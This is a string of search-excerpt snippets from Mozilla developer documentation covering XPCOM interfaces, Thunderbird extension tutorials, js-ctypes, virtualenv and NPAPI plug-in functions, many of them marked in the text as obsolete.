...transaction for the specified uri is likely to happen soon. the code implementing this method may use this information to start a tcp and/or ssl level handshake for that resource immediately so that it is ready (or at least in the process of becoming ready) when the transaction is actually submitted. no obligation is taken on by the implementer, nor is the submitter obligated to actually open the
new channel. void speculativeconnect( in nsiuri auri, in nsiinterfacerequestor acallbacks, in nsieventtarget atarget ); parameters auri the uri of the hinted transaction. acallbacks any security callbacks for use with ssl for interfaces such as nsibadcertlistener. may be null. atarget the thread on which the release of the callbacks will occur. may be null for "any thread". see also nsiiose...
nsITelemetry
operties: min - minimal bucket size max - maximum bucket size histogram_type - histogram_exponential or histogram_linear counts - an array representing the values of buckets in the histogram. ranges - an array with corresponding bucket sizes. sum - sum of the counts array. static - true for histograms defined in histograms.json, false for ones defined with
newhistogram(). read only. constants histogram types constant value description histogram_exponential 0 buckets increase exponentially. histogram_linear 1 buckets increase linearly. histogram_boolean 2 for storing 0/1 values. histogram_flag 3 for storing a single value; its count is always == 1. hi...
...ount histograms providing the value is optional. snapshot([optional] key) - returns a snapshot of the keyed histogram or (if key is provided) the snapshot of the contained histogram with that key. keys() - returns an array with the string keys of the currently registered histograms. clear() - clear out the registered histograms and keys. example you can find detailed information on adding a
new telemetry probe and recording telemetry data at adding a
new telemetry probe [en-us]. see also bug 649502 - expose histograms to js bug 585196 - telemetry infrastructure bug 668312 - report only probes defined in histograms.json bug 1069874 - add keyed histogram types bug 1426453 - documentation of nsitelemetry not up to date ...
nsIThreadManager
nager interface lets applications and extensions create and manage threads, each of which is represented by an nsithread. xpcom/threads/nsithreadmanager.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview nsithread getthreadfromprthread(in prthread prthread); native code only! nsithread
newthread(in unsigned long creationflags); attributes attribute type description currentthread nsithread the currently executing thread. if the calling thread does not already have a nsithread associated with it, one is created and associate with the current prthread. read only. ismainthread boolean this attribute is true if the calling thread is t...
...tthreadfromprthread given a prthread, this method returns the corresponding nsithread. returns null if there isn't a corresponding nsithread. nsithread getthreadfromprthread( in prthread prthread ); parameters prthread the prthread for which to retrieve the corresponding nsithread. return value the nsithread matching the specified prthread, or null if there is no matching nsithread.
newthread() create a
new thread. internally, this is a global user prthread. nsithread
newthread( in unsigned long creationflags ); parameters creationflags reserved for future use. pass 0. return value the
newly created nsithread. see also the thread manager nsithread nsithreadpool nsithreadinternal nsithreadobserver nsithreadeventfilter prthread ...
nsIToolkitProfileService
in use.) not sure what happens if you change this setting but someone said: you can change profiles by setting this attribute's value. this may throw an ns_error_failure (0x80004005) when trying to get the current profile if it's unavailable or if permissions restrict access. startoffline boolean startwithlastprofile boolean methods createprofile() creates a
new profile. the profile temporary directory will be chosen based on where the profile directory is located. nsitoolkitprofile createprofile( in nsilocalfile arootdir, in autf8string aname ); parameters arootdir the profile directory. may be null, in which case a suitable default will be chosen based on the profile name. aname the name to give the
new profile. return value an n...
... will be chosen based on where the profile directory is located. nsitoolkitprofile createprofile( in nsilocalfile arootdir, in autf8string aname ); parameters arootdir the profile directory. may be null, in which case a suitable default will be chosen based on the profile name. aname the name to give the
new profile. return value an nsitoolkitprofile object representing the
newly-created profile. exceptions thrown ns_error_unexpected an unexpected error condition occurred. ns_error_file_not_directory one of the specified directory files is not actually a directory. ns_error_out_of_memory unable to allocate the
new profile object. flush() flushes the profile list to disk. the profile list file is constructed in memory, then written out as one la...
nsITransferable
s. kpngimagemime image/png png image. kjpegimagemime image/jpeg jpeg image. kjpgimagemime image/jpg jpeg image. kgifimagemime image/gif gif image. kfilemime application/x-moz-file an arbitrary file (is this an nsifile?) kurlmime text/x-moz-url a mozilla url object; this is a text string containing the url, a
newline (\n), then the title of the page. kurldatamime text/x-moz-url-data a string containing only a url. kurldescriptionmime text/x-moz-url-desc a string containing only a description. kurlprivatemime text/x-moz-url-priv the same as kurldatamime, except intended for private use only. knativeimagemime application/x-moz-nativeimage an image ...
...ation url for a file promise. kfilepromisemime application/x-moz-file-promise a dataless flavor used to interact with the operating system during file drags. kfilepromisedirectorymime application/x-moz-file-promise-dir a synthetic flavor which is added to the transferable once the destination directory for a file drag is known. methods adddataflavor() adds a
new data flavor, indicating that this transferable can receive the type of data represented by the specified flavor string. void adddataflavor( in string adataflavor ); parameters adataflavor a string defining a
new data flavor that the transferable supports. flavorstransferablecanexport() returns a list of flavors (mime types as nsisupportscstring) that the transferable can export, eithe...
nsITreeBoxObject
void endupdatebatch(); void clearstyleandimagecaches(); attributes attribute type description columns nsitreecolumns readonly: obtain the columns. view nsitreeview the view that backs the tree and that supplies it with its data. it is dynamically settable, either using a view attribute on the tree tag or by setting this attribute to a
new value. focused boolean whether or not we are currently focused. treebody nsidomelement readonly: obtain the treebody content node. this is a node that corresponds to the treechildren tag. rowheight long readonly: obtain the height of a row. rowwidth long readonly: obtain the width of a row. horizontalposition long readonl...
...e index of the row col the nsitreecolumn rowcountchanged() notify the tree that the number of rows changed. the view is responsible for calling this notification method when rows are added or removed. for non-contiguous additions/removals, this method should be called multiple times. void rowcountchanged(in long index, in long count); parameters index the position at which the
new rows were added or at which rows were removed. count the number of rows added or removed. use negative values for removed rows. example you deleted the row with index rowindex. inform the tree about this change by calling rowcountchanged(rowindex+1, -1); beginupdatebatch() notify the tree that the view is about to perform a batch update, that is, add, remove or invalidate several rows a...
nsIUUIDGenerator
nsidptr generateuuid(); parameters none. return value this method returns a nsidptr containing a unique id. exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) native code only!generateuuidinplace obtai...
...d using appropriate platform-specific methods to obtain a nsid that can be considered to be globally unique. nsidptr generateuuid(); parameters none. return value this method returns a nsidptr containing a unique id. exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) native code only!generateuuidinplace obtain a
new uuid like the generateuuid() method, but place it in the provided nsid pointer instead of allocating a
new nsid. void generateuuidinplace( in nsnonconstidptr id ); parameters id an existing nsid pointer where the uuid will be stored. exceptions thrown ns_error_failure if a uuid cannot be generated (for example if an underlying source of randomness is not available) example generating a uui...
nsIUpdate
he add-on version of this update. used by the extension system to track compatibility of installed add-ons with this update. obsolete since gecko 2.0 installdate long long the date and time at which the update was installed. iscompleteupdate boolean true if the update is a complete replacement of the existing installation; false if the update is a patch representing the difference between the
new version and the existing version. issecurityupdate boolean true if the update is a security update. if the update is a security update, a more seriously-worded user interface message is used to present the update to the user. licenseurl astring the url to an html fragment that contains a license for the update. if this is specified, the user is shown the license file after they choose to inst...
...the update is ready to be applied. "applying" the update is in the process of being applied. "succeeded" the update has been installed successfully. "download-failed" the update failed to be downloaded. "failed" installing the update failed. read only. statustext astring an optional message associated with the update. type astring the type of patch represented by the object: "major" a major
new version of the application. "minor" a minor update, such as a security update. version astring the application version of the update.obsolete since gecko 2.0 methods getpatchat() retrieves a patch. nsiupdatepatch getpatchat( in unsigned long index ); parameters index the index of the patch to retrieve. return value an nsiupdatepatch object describing the specified patch. serialize() s...
nsIWebContentHandlerRegistrar
"yahoo! mail" already exist as webservice handlers. ...
...must have a content window to pass to registerprotocolhandler as it prompts the user for permission'); } nsiwchr.registerprotocolhandler("mailto", registeruri, "outlook.com live mail", htmlcontentwindow); in this example the services.wm.getenumerator was used to find a window that had the same host name (contentwindow.l...
nsIWebProgressListener2
progress value is unknown, then its value is replaced with -1. void onprogresschange64( in nsiwebprogress awebprogress, in nsirequest arequest, in long long acurselfprogress, in long long amaxselfprogress, in long long acurtotalprogress, in long long amaxtotalprogress ); parameters awebprogress the nsiwebprogress instance that fired the notification. arequest the nsirequest that has
new progress. acurselfprogress the current progress for arequest. amaxselfprogress the maximum progress for arequest. acurtotalprogress the current progress for all requests associated with awebprogress. amaxtotalprogress the total progress for all requests associated with awebprogress. onrefreshattempted() notification that a refresh or redirect has been requested in awebprogress. for example, via ...
...refreshattempted() notification that a refresh or redirect has been requested in awebprogress. for example, via a <meta http-equiv="refresh"> or an http refresh: header. boolean onrefreshattempted( in nsiwebprogress awebprogress, in nsiuri arefreshuri, in long amillis, in boolean asameuri ); parameters awebprogress the nsiwebprogress instance that fired the notification. arefreshuri the
new uri that awebprogress has requested redirecting to. amillis the delay (in milliseconds) before refresh. asameuri true if awebprogress is requesting a refresh of the current uri. false if awebprogress is requesting a redirection to a different uri. return value true if the refresh may proceed. false if the refresh should be aborted. ...
nsIWinTaskbar
preview, given an nsidocshell reference to a top-level window. nsitaskbartabpreview createtaskbartabpreview( in nsidocshell shell, in nsitaskbarpreviewcontroller controller ); parameters shell an nsidocshell object representing the top-level window from which to create the preview. controller an nsitaskbarpreviewcontroller you implement. return value an nsitaskbartabpreview object for the
new tab preview. example netscape.security.privilegemanager.enableprivilege("universalxpconnect"); var taskbar = components.classes["@mozilla.org/windows-taskbar;1"].getservice(components.interfaces.nsiwintaskbar); // get the docshell for the browser var navigator2 = top.queryinterface(components.interfaces.nsiinterfacerequestor).getinterface(components.interfaces.nsiwebnavigation); var docshell = ...
...vel window. return value an nsitaskbarwindowpreview object for the window's preview. setgroupidforwindow() set the grouping id for a window. ids should be unique to the application and window to insure conflicts with other pinned applications do no arise. void setgroupidforwindow( in nsidomwindow aparent, in astring aidentifier ); parameters aparent the parent nsidomwindow. aidentifier the
new identifier for the window. see also nsitaskbarpreview nsitaskbarpreviewcontroller nsitaskbarprogress nsitaskbartabpreview nsitaskbarwindowpreview nsitaskbarpreviewbutton ...
nsIWindowCreator
embedding/base/nsiwindowcreator.idlscriptable a callback interface used by gecko to create
new browser windows. the application, either mozilla or an embedding app, must provide an implementation of the window watcher component and notify the windowwatcher during application initialization. inherits from: nsisupports last changed in gecko 0.9.6 method overview nsiwebbrowserchrome createchromewindow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a
new window. gecko will/may call this method, if made available to it, to create
new windows. nsiwebbrowserchrome createchromewindow( in nsiwebbrowserchrome parent, in pruint32 chromeflags ); parameters parent the nsiwebbrowserchrome of the parent window, if any. null if no pare...
...ow(in nsiwebbrowserchrome parent, in pruint32 chromeflags); methods createchromewindow() create a
new window. gecko will/may call this method, if made available to it, to create
new windows. nsiwebbrowserchrome createchromewindow( in nsiwebbrowserchrome parent, in pruint32 chromeflags ); parameters parent the nsiwebbrowserchrome of the parent window, if any. null if no parent exists. the
newly created window should be made a child/dependent window of the parent, if any (and if the concept applies to the underlying os). chromeflags chrome features from nsiwebbrowserchrome. return value an nsiwebbrowserchrome for the
new window. see also nsiwindowwatcher for more details. ...
nsIWorkerFactory
dom/interfaces/threads/nsidomworkers.idlscriptable creates and returns a
new worker 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface was removed in gecko 8.0. you don't need to use it anymore to create workers from chrome. instead, you can just do
new worker or
new chromeworker. implemented by: threads/workerfactory;1. ...
...n gecko 8.0. you don't need to use it anymore to create workers from chrome. instead, you can just do
new worker or
new chromeworker. implemented by: threads/workerfactory;1. to create an instance, use: var workerfactory = components.classes['@mozilla.org/threads/workerfactory;1'] .createinstance(components.interfaces.nsiworkerfactory); method overview nsiworker
newchromeworker(in domstring ascripturl); methods
newchromeworker() returns a
new chromeworker that will run a specified script. nsiworker
newchromeworker( in domstring ascripturl ); parameters ascripturl the url of the script to load into the
new worker. return value an nsiworker object representing the
new chromeworker. see also using web workers worker sharedworker ...
nsIXULWindow
stroyed" notification through the global observer service. this signals the application in case it needs to quit. method overview void addchildwindow(in nsixulwindow achild); void applychromeflags(); native code only! void assumechromeflagsarefrozen(); void center(in nsixulwindow arelative, in boolean ascreen, in boolean aalert); nsixulwindow create
newwindow(in print32 achromeflags, in nsiappshell aappshell); nsidocshelltreeitem getcontentshellbyid(in wstring id); void removechildwindow(in nsixulwindow achild); void showmodal(); attributes attribute type description chromeflags pruint32 chromeflags are from nsiwebbrowserchrome. contextflags pruint32 contextflags ar...
... not null. if arelative is null then relative to the screen of the opener window if it was initialized by passing it to nswebshellwindow::initialize. failing that relative to the main screen. false to center it relative to arelative itself (arelative must be set in this case.) aalert true to move the window to an alert position, generally centered horizontally and 1/3 down from the top. create
newwindow() create a
new window. nsixulwindow create
newwindow( in print32 achromeflags, in nsiappshell aappshell ); parameters achromeflags see nsiwebbrowserchrome. aappshell the app shell passed to nsiappshellservice's createtoplevelwindow method. return value the
newly minted window. in the case of a content window, the function creates a browser window and waits for it to load. yo...
nsIZipReaderCache
ed) cached nsizipreader for a zip inside another zip. nsizipreader getinnerzip( in nsifile zipfile, in autf8string zipentry ); parameters zipfile the zip file. zipentry the zip entry. return value the nsizipreader for the given zip file. getzip() returns a (possibly shared) cached nsizipreader for a zip file. ...
...void init( in unsigned long cachesize ); parameters cachesize the number of released entries to maintain before beginning to throw some out. the number of outstanding entries can be much greater than this number, this is the count for those otherwise unused entries. ...
nsMsgSearchAttrib
defined in comm-central/ mail
news/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search attribute types. the numerical order * from here will also be used to determine the order that the * attributes display in the filter editor. ...
... * from here will also be used to determine the order that the * attributes display in the filter editor. ...
nsMsgSearchScope
defined in comm-central/ mail
news/ base/ search/ public/ nsmsgsearchcore.idl [scriptable, uuid(6e893e59-af98-4f62-a326-0f00f32147cd)] interface nsmsgsearchscope { const nsmsgsearchscopevalue offlinemail = 0; const nsmsgsearchscopevalue offlinemailfilter = 1; const nsmsgsearchscopevalue onlinemail = 2; const nsmsgsearchscopevalue onlinemailfilter = 3; /// offline
news, base table, no body or junk const nsmsgsearchscopevalue local
news = 4; const nsmsgsearchscopevalue
news = 5; const nsmsgsearchscopevalue
newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue
newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscopev...
...chscopevalue local
news = 4; const nsmsgsearchscopevalue
news = 5; const nsmsgsearchscopevalue
newsex = 6; const nsmsgsearchscopevalue ldap = 7; const nsmsgsearchscopevalue localab = 8; const nsmsgsearchscopevalue allsearchablegroups = 9; const nsmsgsearchscopevalue
newsfilter = 10; const nsmsgsearchscopevalue localaband = 11; const nsmsgsearchscopevalue ldapand = 12; // imap and
news, searched using local headers const nsmsgsearchscopevalue onlinemanual = 13; /// local
news + junk const nsmsgsearchscopevalue local
newsjunk = 14; /// local
news + body const nsmsgsearchscopevalue local
newsbody = 15; /// local
news + junk + body const nsmsgsearchscopevalue local
newsjunkbody = 16; }; ...
NS ENSURE TRUE
summary macro returns return-value if expr evaluates to false. syntax ns_ensure_true( expr, return-value ); usage nsresult mozmyclass::mozstringmucking() { char *foo =
new char[123]; ns_ensure_true(foo, ns_error_out_of_memory); // this is equivalent to doing: if (!foo) return ns_error_out_of_memory; // thou shalt not return ns_error_failure.. ...
...xpr, return-value ); usage nsresult mozmyclass::mozstringmucking() { char *foo =
new char[123]; ns_ensure_true(foo, ns_error_out_of_memory); // this is equivalent to doing: if (!foo) return ns_error_out_of_memory; // thou shalt not return ns_error_failure.. ...
nsMsgNavigationType
the nsmsgnavigationtype interface contains constants used for message navigation in thunderbird. for example to move forward a message, you would call: // assuming gdbview is a global nsimsgdbview var resultid =
new object(); var resultindex =
new object(); var threadindex =
new object(); gdbview.viewnavigate(components.interfaces.nsmsgnavigationtype.nextmessage, resultid, resultindex, threadindex, true); the nsmsgnavigationtype interface is defined as a global variable in thunderbird: var nsmsgviewcommandtype = components.interfaces.nsmsgviewcommandtype; mail
news/base/public/nsimsgdbview.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) constants name value description firstmessage 1 go to the first message in t...
...ous unread message in the view. will wrap around if the wrap flag is set to true. ...
Troubleshooting XPCOM components registration
i.e. $profile/extensions/$plugindirectory/components! double check your guids in your install.rdf with your sourcecode, and then check them again. windows-specific hints use dependency walker to check that your dependent libraries are loaded correctly. in dependency walker, open the options menu and select configure module search order.... in the bottom right corner of the
new dialog, click browse... and select the directory firefox.exe (or equivalent) is in. in the bottom left corner, click add directory. do not add any other directories; in particular, do not add your extension's (or xulrunner application's) components directory. after clicking ok in the top right, check for any missing dependencies using file -> open -> firefox.exe (or equivalent). ...
...sion of msvc may matter; your test machine may not have the c runtime libraries (msvcr70.dll / msvcp70.dll for msvc 7.0, and similarly named files for 7.1 and 8.0) available. this even means that if you are using a component stub, the stub needs to be compiled using a version which the machine does support; most likely this means msvc 6.0. it may then be necessary for the stub to locate the
newer runtime libraries for the other files it loads. if you compiled the component with msvc 8.0 (2005) and are attempting to use it on a windows xp machine or later, it will need a manifest embedded to find the runtime. please refer to msdn for details. if you have the option, you can manually copy these dependencies to firefox.exe's directory, to windows\system32, or to any directory is the ...
Using nsIDirectoryService
ents.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); (the example is taken from the code snippets section of this site.) adding a location: there are currently two ways to add a file location to the directory service: directly and delayed. you can directly add a
new nsifile with any property string using the nsiproperties interface: components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .set("myfilename", file); now, if your cost is too high to set all of these properties at once, you can register to be a callback that can provide an nsifile. to do this, you must ...
...rather than requiring the same disk layout as seamonkey. in order to change these locations using nsifilelocator and still be able to use the same components directory as an existing mozilla installation, you had to make a component with the same id as nsifilelocator and then, after auto-registering components, manually register your own and replace the existing one -- all in all, a big pain. the
new method the
new method uses nsidirectoryservice to locate files and directories. be sure to see the documentation on the service itself. this document will focus on how the service is used and how to customize it. briefly, nsidirectoryservice uses "providers" of type nsidirectoryserviceprovider to provide file locations. when the service is asked for a file location, it goes through its list of pr...
Working with out parameters
n, and returns nothing. adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call. these are so-called out parameters. usage in order to use such a method from javascript via xpconnect, you have to follow a specific rule. to get at the out parameters, you have to pass in an object. after the call, this object will have a
new property called value, which contains the out values. assuming you have an object called transferable, you would invoke gettransferdata() as follows: var adata = {}; var adatalen = {}; transferable.gettransferdata("text/unicode", adata, adatalen); var data = adata.value; var datalen = adatalen.value; as you can see, after the call to gettransferdata(), the out values are then contained i...
...you would implement gettransferdata() as follows: gettransferdata: function(aflavor, adata, adatalen) { .. .. adata.value = resultdata; adatalen.value = resultdata.length; } ...
XPIDL Syntax
ifications, conventions and notation the syntax is specified according to abnf as defined by rfc 5234, although a few productions use prose for clarity of understanding. lexically, tokens are delimited by whitespace (defined here as spaces, tabs, vertical tabs, form feeds, line feeds, and carriage returns, or [ \t\v\f\r\n] in regular expression form). libidl only considers a single line feed as a
newline, and not carriage returns (although xpidl begs to differ). additionally, the use of both c-style (/* ... */) and c++-style (// ... end-of-line) comments are permitted between any two tokens. some productions can only occur at the beginning of lines; to simplify the grammar, i will not mention them in the grammar, especially since they are handled as a preprocessing step before the idl source ...
... / "%") expr expr /= ["-" / "+" / "~"] (scoped_name / literal / "(" expr ")" ) ; numeric literals: quite frankly, i'm sure you know how these kinds of ; literals work, and these are annoying to specify in abnf. literal = octal_literal / decimal_literal / hex_literal / floating_literal literal /= string_literal / char_literal literal /= "true" / "false" ; in regex: /"[^"\n]*["\n]/. yes,
newline terminates. string_literal = 1*(%x22 *(any char except %x22 or %x0a) (%x22 / %x0a)) ; same as above, but s/"/'/g char_literal = 1*(%x27 *(any char except %x27 or %x0a) (%x27 / %x0a)) type_spec = "float" / "double" / "string" / "wstring" type_spec /= ["unsigned"] ("short" / "long" / "long" "long") type_spec /= "char" / "wchar" / "boolean" / "octet" type_spec /= scoped_name prop_lis...
Mozilla technologies
tabase information was proprietary and could not be released open source. starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and history management system introduced in firefox 3. it offers increased flexibility and complex querying to make handling the places the user goes easier and more convenient. it also includes
new features including favicon storage and the ability to annotate pages with arbitrary information. it also introduces
new user interfaces for managing all this information; see places on the mozilla wiki.preferences apithe publicity stream apithe publicity stream is a mozilla-hosted activity stream generated by a user's application usage. the publicity stream is provided as a central place for appl...
...for example, the mozilla xforms project uses xtf to add support for the xforms namespace. ...
Mail and RDF
you should learn about rdf before reading this document or you will be hopelessly confused. overview of mail rdf graph the root resource for all accounts, folders and messages is the rdf resource named msgaccounts:/. ...
...th the results of the query. asynchronously notifying rdf when the data itself changes, rdf needs to be notified. the details answering queries mail uses rdf resource factories to attach mail-specific information to rdf resources. (the details of rdf resource factories will be left to rdf documentation for now.) from an rdf resource, it is possible to queryinterface() to the appropriate mail/
news object, and then access information from there. for example, the folder pane needs to display the number of messages in the inbox. information for this column is queried when the tree's rdf template calls the folder datasource's gettarget() method. the query's target is the resource named mailbox://alecf@pop.myisp.com/inbox and the property node is named http://home.netscape.com/nc-rdf#totalmes...
Mail client architecture overview
this includes management of accounts, folders and messages. the base module consists of the following basic building blocks account management - the account manager is the root object of the server/folder/message hierarchy. it manages individual accounts on mail servers and...
...rate on this mail data. events - as data changes throughout the mail application, the event system notifies key components such as datasources and the url system of these changes. mail window management - each mail window maintains a certain amount of state to aid in view navigation, progress display, etc. url display and dispatching - in order to perform network operations such as downloading
new mail, copying and moving messages, and displaying messages from a remote server, the url system interacts with necko and reflects it's state to the mail window. there are also a number of protocol independant subsystems that have a symbiotic relationship with base: libmime - for dealing with rfc822 messages and their mime parts. this library has the cabability to stream messages to an html r...
Mail composition back end
the mail composition back end is responsible for the assembly and creation of rfc822 messages to be delivered either via smtp or nntp services. you also have the ability to save rfc822 files to disk, should you need this data for some reason. included in this functionality is the code to copy the messages to the appropriate locations after delivery (i.e. a "se...
...ion. createandsendmessage the quotemessage method is the primary interface for message quoting. ns_imethod quotemessage( const prunichar *msguri, - the uri of the message to be quoted nsioutputstream *outstream) = 0; - the consumer output stream for the quoted data sample programs the mozilla/mail
news/compose/tests/ directory contains sample test programs for all of the above described interfaces. use at your own risk and beware of bitrot! compose - this program shows the use of the createandsendmessage interface (createandsendmessage) compose2 - this program shows the use of the createandsendmessage interface (sendmessagefile) sendlater - this program shows the use of the nsimsgsendlate...
Adding items to the Folder Pane
ems will be defined. ...
...thus, our _insert function becomes _insert: function gne__insert() { // only insert our nodes into the "all" mode if (gfoldertreeview.mode != "all") return; gfoldertreeview._rowmap.push(containerrow); }, right now, clicking on these additional items has no effect. however, the complete examp...
Building a Thunderbird extension 3: install manifest
the install.rdf file is an xml file that provides general information about the extension. ...
...website. while this value is in email address format, it is not an email address. it should, however, be a unique value so that it does not conflict with other extensions. <em:name>my first extension</em:name>: the extension name is displayed in the thunderbird add-on manager. <em:version>1.0</em:version>: this is the version number of your extension. it must be updated each time you release a
new version of your extension. it is not the thunderbird version number (which is stored in the minversion and maxversion fields). <em:creator>jenzed</em:creator>: this optional value is used to store the extension author's name. <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id>: this element contains the version id of the application that this add on is developed for. it is defined by mozilla.
Building a Thunderbird extension 6: Adding JavaScript
in this step we will create a small piece of javascript code that inserts the current date into our statusbar widget. the statusbar is usually displayed at the bottom of the thunderbird window. depending on the installed theme the result will look something like this: modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. ...
... modify xul elements with javascript save the following javascript code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. window.addeventlistener("load", function(e) { startup(); }, false); window.setinterval( function() { startup(); }, 60000); //update date every minute function startup() { var mypanel = document.getelementbyid("my-panel"); var date =
new date(); var day = date.getday(); var datestring = date.getfullyear() + "." + (date.getmonth()+1) + "." + date.getdate(); mypanel.label = "date: " + datestring; } the first part registers a
new event listener that will be executed automatically when thunderbird loads. the event listener then calls our startup function which gets our <statusbarpanel>-element with the id my-panel from the docume...
Finding the code for a feature
nent links to this on my firefox toolbar, one to comm-central string search, and one to comm-central file search. so, how did i use those to figure out how to do this? i know there is a menu command "tag" to tag the message - how does it do it? using dom inspector, i find the tag menu item, and i see that it uses command "cmd_tag". then i use mxr and look for "cmd_tag". i see it occurs in mail3pa
newindowcommands.js a couple of times. i look at the last occurrence, and see it is just an enable item with no real action involved. oops, i guess i need to get the submenu instead. repeating this process, i see that the submenu items all call a function togglemessagetagmenu. looking that up in mxr, its underlying function uses a very strange call prevhdrfolder[toggler](messages, key) to change the ...
...ange call prevhdrfolder[toggler](messages, key) to change the key. trying to figure that out from the code, i see that is just a clever way to do the addkeywordstomessages or removekeywordsfrommessages method call. (please don't do that guys, it really makes code search difficult!) so the answer the your question is, use the nsimsgfolder method "addkeywordstomessages" (and now i remember that i k
new that!). if you want examples, scan mxr for addkeywordstomessages. you'll find that the only decent examples are in unit tests, my test_bug428427.js or asuth's messagemodifier.js ...
Filter Incoming Mail
filter incoming mail to filter incoming mail, the first step is to detect
new messages inconming. the, you've got components.interfaces.nsimsgdbhdr from where you can modify the mail. by example, to modify the mail subject : var
newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a
new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript. by example, setting it to lower case ...
... you can take a look at a working code in the capskiller add-on repository. ...
Theme Packaging
target application this extension can install into, with minimum and maximum supported versions. ...
...do not add to this lis...
Thunderbird
thunderbird is a mail/messaging application managed and developed by the thunderbird community. these pages document thunderbird and the mail
news backend which is also used in other projects such as seamonkey and postbox. thunderbird is built on the same technical platform as the firefox web browser. currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat,
newsgroup and feed reading in a familiar high-productivity environment. (from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the comm-central repository. t...
...ty environment. (from early 2007 to early 2011 thunderbird was developed by mozilla messaging, a subsidiary owned by mozilla.) documentation building thunderbird information about building thunderbird with the comm-central repository. there's also information about how the review process works and how to use the mozilla symbol server to help with debugging. mail
news protocols rough documentation about mail protocols.. database views backend information about nsimsgdbview and related interfaces. thunderbird api documentation thunderbird api documentation extension documentation tutorials and tips for building thunderbird extensions view all... community thunderbird product home page thu...
Virtualenv
-virtualenv virtualenv.py may also be run as standalone software with the same functionality. it will require it to be part of a clone of the github repository or have internet access to fetch setuptools. on mac os x, you will need xcode to use virtualenv. see this article for details. using virtualenv once you have virtualenv installed, you can make virtual environments: > virtualenv tmp
new python executable in tmp/bin/python installing setuptools............done. installing pip...............done. a python binary, as well as easy_install and pip are available in the bin/ subdirectory (or scripts on windows). > ls tmp/bin/ activate activate.fish easy_install pip python activate.csh activate_this.py easy_install-2.7 pip-2.7 using this python binary, or thes...
...ectory and they will be appropriately added to your import path (sys.path) via lib/python2.x/site.py. in order to get the virtualenv's python binary on your path, you should source the bin/activate script on unix or run activate.bat on windows. unix example . bin/activate once the virtualenv is activated, the virtualenv's python (and other executables) will be on your path and you will have a
new environment variable, virtual_env, that points to the path of the virtualenv, as well as a deactivate function for deactivating the virtualenv. virtualenv tools virtualenv does one thing well: creates isolated virtual environments of python packages. due to its utility, tools have been built around this functionality. here are a few such tools: carton: make a self-extracting virtualenv from ...
Using C struct and pointers
in this example, we show how to use c structs and pointers with js-ctypes. ...
... create a ctype object that represents the c struct named st_t. the first parameter of this method is the name of the type, which corresponds to the name of the c struct. the second parameter is an array of field descriptors. each field descriptor contains the name and field type of the corresponding field of the c struct. the call to structtype() returns a ctype object, and we then apply the
new operator to it to create a specific instance of this
newly defined type - a javascript representation of the c struct. using c strings with js-ctypes a pointer to char in javascript is declared as follows: var str = ctypes.pointertype(ctypes.char); now imagine you call a c function that returns a c string and you want to modify the contents of this string. in the js-ctypes context, you can on...
FunctionType
ctype functiontype( abi, returntype[, argtype1, ...] ); parameters abi the abi type for the function; this is one of the abi constants. returntype a ctype indicating the type of the value returned by the function. argtype1... argtypen zero or more ctype objects indicating the types of each of the parameters passed into the c function. return value a ctype describing the function type. ...
...hods inherited from ctype ctype array([n]) string tosource() string tostring() functiontype cdata functiontype cdata cannot be constructed. function pointer is created with functiontype.ptr. cdata functiontype.ptr([func]); functiontype is functiontype ctype. parameters func a pointer value or javascript function. return value a cdata representing the
newly allocated function pointer. exceptions thrown typeerror func is not either pointer value or javascript function. see also ctype cdata abi library type conversion ...
js-ctypes
section and not the js-ctypes section due to the jsm abstracting away all of the js-ctypes. unlike binary xpcom components, it allows developers to ship a single binary for use with multiple versions of firefox. note: js-ctypes is only available from chrome code; that is, ctypes is not available to websites, only application and extension code. documentation if you are brand
new to js-ctypes, and have no idea about it, the pages you should read first is - ctypes.open followed by standard os libraries. using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring typ...
...nd core foundation framework routines on mac os x to implement an "add image to iphoto" feature in firefox. ...
Browser Side Plug-in API - Plugins
method summary « previousnext » npn_destroystream closes and deletes a stream. npn_forceredraw forces a paint message for a windowless plug-in. npn_getauthenticationinfo this function is called by plug-ins to get http authentication information from the browser. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a
new stream with the contents of the specified url; gets notification of the result. npn_getvalue allows the plug-in to query the browser for information. npn_getvalueforurl provides information to a plug-in which is associated with a given url, for example the cookies or preferred proxy. npn_invalidaterect invalidates specified drawing area prior to repainting or refreshing a windowless plug-i...
...tes specified drawing area prior to repainting or refreshing a windowless plug-in. npn_invalidateregion invalidates specified drawing region prior to repainting or refreshing a windowless plug-in. npn_memalloc allocates memory from the browser's memory space. npn_memflush requests that the browser free a specified amount of memory. npn_memfree deallocates a block of allocated memory. npn_
newstream requests the creation of a
